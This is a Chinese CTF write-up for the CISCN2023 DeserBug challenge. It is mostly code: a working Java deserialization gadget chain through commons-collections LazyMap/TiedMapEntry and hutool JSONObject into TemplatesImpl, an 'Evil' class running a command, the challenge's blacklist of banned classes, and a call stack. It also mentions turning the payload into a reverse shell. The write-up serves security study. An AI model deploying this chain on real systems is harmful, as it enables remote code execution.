CISCN2023 Deserbug

  1. cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept
  2. jdk8u202

题目提示了类,jdk8u202 和 8u66 我感觉是一样的

commons-collections-3.2.2.jar

hutool-all-5.8.18.jar

先准备恶意类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.deserbug;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Evil extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers)
            throws TransletException {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
            throws TransletException {}
}

commons-collections-3.2.2,所以 InvokeTransformer 之类的都不能使用了,和 CC3 一样用 TrAXFilter,题目提示的 JSONObject 类和 fastjson 的并不同,不是任意触发 getter\setter 方法,

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
    public JSONObject put(String key, Object value) throws JSONException {
        return this.set(key, value);
    }

    public JSONObject set(String key, Object value) throws JSONException {
        return this.set(key, value, (Filter)null, false);
    }

    public JSONObject set(String key, Object value, Filter<MutablePair<String, Object>> filter, boolean checkDuplicate) throws JSONException {
        if (null == key) {
            return this;
        } else {
            if (null != filter) {
                MutablePair<String, Object> pair = new MutablePair(key, value);
                if (!filter.accept(pair)) {
                    return this;
                }

                key = (String)pair.getKey();
                value = pair.getValue();
            }

            boolean ignoreNullValue = this.config.isIgnoreNullValue();
            if (ObjectUtil.isNull(value) && ignoreNullValue) {
                this.remove(key);
            } else {
                if (checkDuplicate && this.containsKey(key)) {
                    throw new JSONException("Duplicate key \"{}\"", new Object[]{key});
                }

                super.put(key, JSONUtil.wrap(InternalJSONUtil.testValidity(value), this.config));
            }

            return this;
        }
    }

super.put(key, JSONUtil.wrap(InternalJSONUtil.testValidity(value), this.config));这里会和 fastjson 一样做一个转换最后调用 getter 方法,测试下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
package org.deserbug;

import cn.hutool.json.JSONObject;
public class test {
    String name;
    public void getName(){
        System.out.println("getter called");
    }
    public void setName(){
        System.out.println("setter called");
    }
    public static void main(String[] args){
        JSONObject jo = new JSONObject();
        jo.put("aa", new test());
    }
}
//getter called

看下Myexpect#getAnyexcept

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.app;

import java.lang.reflect.Constructor;

public class Myexpect extends Exception {
    private Class[] typeparam;
    private Object[] typearg;
    private Class targetclass;
    public String name;
    public String anyexcept;

    public Class getTargetclass() {
        return this.targetclass;
    }

    public void setTargetclass(Class targetclass) {
        this.targetclass = targetclass;
    }

    public Object[] getTypearg() {
        return this.typearg;
    }

    public void setTypearg(Object[] typearg) {
        this.typearg = typearg;
    }

    public Object getAnyexcept() throws Exception {
        Constructor con = this.targetclass.getConstructor(this.typeparam);
        return con.newInstance(this.typearg);
    }

    public void setAnyexcept(String anyexcept) {
        this.anyexcept = anyexcept;
    }

    public Class[] getTypeparam() {
        return this.typeparam;
    }

    public void setTypeparam(Class[] typeparam) {
        this.typeparam = typeparam;
    }

    public String getName() {
        return this.name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

可以调用任意 public 方法,调用 templates 这么初始化

1
2
3
4
Myexpect expect = new Myexpect();
expect.setTargetclass(TrAXFilter.class);
expect.setTypeparam(new Class[]{Templates.class});
expect.setTypearg(new Object[]{templatesImpl});

然后兴高采烈的反序列化发现报错 InstantiateTransformer 禁用,说明有 WAF,黑名单如下

1
2
3
4
5
6
7
8
org.apache.commons.collections.functors.CloneTransformer
org.apache.commons.collections.functors.ForClosure
org.apache.commons.collections.functors.InstantiateFactory
org.apache.commons.collections.functors.InstantiateTransformer
org.apache.commons.collections.functors.InvokerTransformer
org.apache.commons.collections.functors.PrototypeCloneFactory
org.apache.commons.collections.functors.PrototypeSerializationFactory
org.apache.commons.collections.functors.WhileClosure

那么就不能使用 chainedTransformer,写出如下 poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package org.deserbug;

import cn.hutool.json.JSONObject;
import com.app.Myexpect;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class poc {
    public static void main(String[] args) throws Exception {
        byte[] code = ClassPool.getDefault().get(org.deserbug.Evil.class.getName()).toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_name", "Pwnr");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new ConstantTransformer(1);

        JSONObject jsonObject = new JSONObject();
        jsonObject.put("aa", "bb");

        Map inner = jsonObject;
        Map lazy = LazyMap.decorate(inner, transformer);

        Myexpect expect = new Myexpect();
        expect.setTargetclass(TrAXFilter.class);
        expect.setTypeparam(new Class[]{Templates.class});
        expect.setTypearg(new Object[]{templates});

        TiedMapEntry entry = new TiedMapEntry(lazy, "key");
        Map exp = new HashMap();
        exp.put(entry, "value");
        lazy.remove("key");

        setFieldValue(transformer, "iConstant", expect);

        byte[] ser = serialize(exp);
        unserialize(ser);
    }

    private static void setFieldValue(Object obj, String field, Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, value);
    }

    private static byte[] serialize(Object obj) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        new ObjectOutputStream(baos).writeObject(obj);
        return baos.toByteArray();
    }

    private static void unserialize(byte[] bytes) throws Exception {
        new ObjectInputStream(new ByteArrayInputStream(bytes)).readObject();
    }
}

img

调用栈

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)
at com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.<init>(TrAXFilter.java:58)
at sun.reflect.NativeConstructorAccessorImpl.newInstance0(NativeConstructorAccessorImpl.java:-1)
at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
at java.lang.reflect.Constructor.newInstance(Constructor.java:423)
at com.app.Myexpect.getAnyexcept(Myexpect.java:30)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at cn.hutool.core.util.ReflectUtil.invokeRaw(ReflectUtil.java:1077)
at cn.hutool.core.util.ReflectUtil.invoke(ReflectUtil.java:1008)
at cn.hutool.core.bean.PropDesc.getValue(PropDesc.java:155)
at cn.hutool.core.bean.copier.BeanToMapCopier.lambda$copy$0(BeanToMapCopier.java:66)
at cn.hutool.core.bean.copier.BeanToMapCopier$$Lambda$15.22429093.accept(Unknown Source:-1)
at java.util.LinkedHashMap.forEach(LinkedHashMap.java:684)
at cn.hutool.core.bean.copier.BeanToMapCopier.copy(BeanToMapCopier.java:48)
at cn.hutool.core.bean.copier.BeanToMapCopier.copy(BeanToMapCopier.java:16)
at cn.hutool.core.bean.copier.BeanCopier.copy(BeanCopier.java:92)
at cn.hutool.core.bean.BeanUtil.beanToMap(BeanUtil.java:713)
at cn.hutool.json.ObjectMapper.mapFromBean(ObjectMapper.java:264)
at cn.hutool.json.ObjectMapper.map(ObjectMapper.java:114)
at cn.hutool.json.JSONObject.<init>(JSONObject.java:210)
at cn.hutool.json.JSONObject.<init>(JSONObject.java:187)
at cn.hutool.json.JSONUtil.wrap(JSONUtil.java:805)
at cn.hutool.json.JSONObject.set(JSONObject.java:393)
at cn.hutool.json.JSONObject.set(JSONObject.java:352)
at cn.hutool.json.JSONObject.put(JSONObject.java:340)
at cn.hutool.json.JSONObject.put(JSONObject.java:32)
at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:159)
at org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:74)
at org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode(TiedMapEntry.java:121)
at java.util.HashMap.hash(HashMap.java:339)
at java.util.HashMap.readObject(HashMap.java:1413)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1170)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2178)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2069)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1573)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:431)
at org.deserbug.poc.unserialize(poc.java:67)
at org.deserbug.poc.main(poc.java:51)

改下恶意类,加个 base64 反弹 shell 就行

img

https://godspeedcurry.github.io/posts/ciscn2023-deserbug/

https://www.cnblogs.com/shinnylbz/p/18722612

https://ctf.njupt.edu.cn/archives/898#DeserBug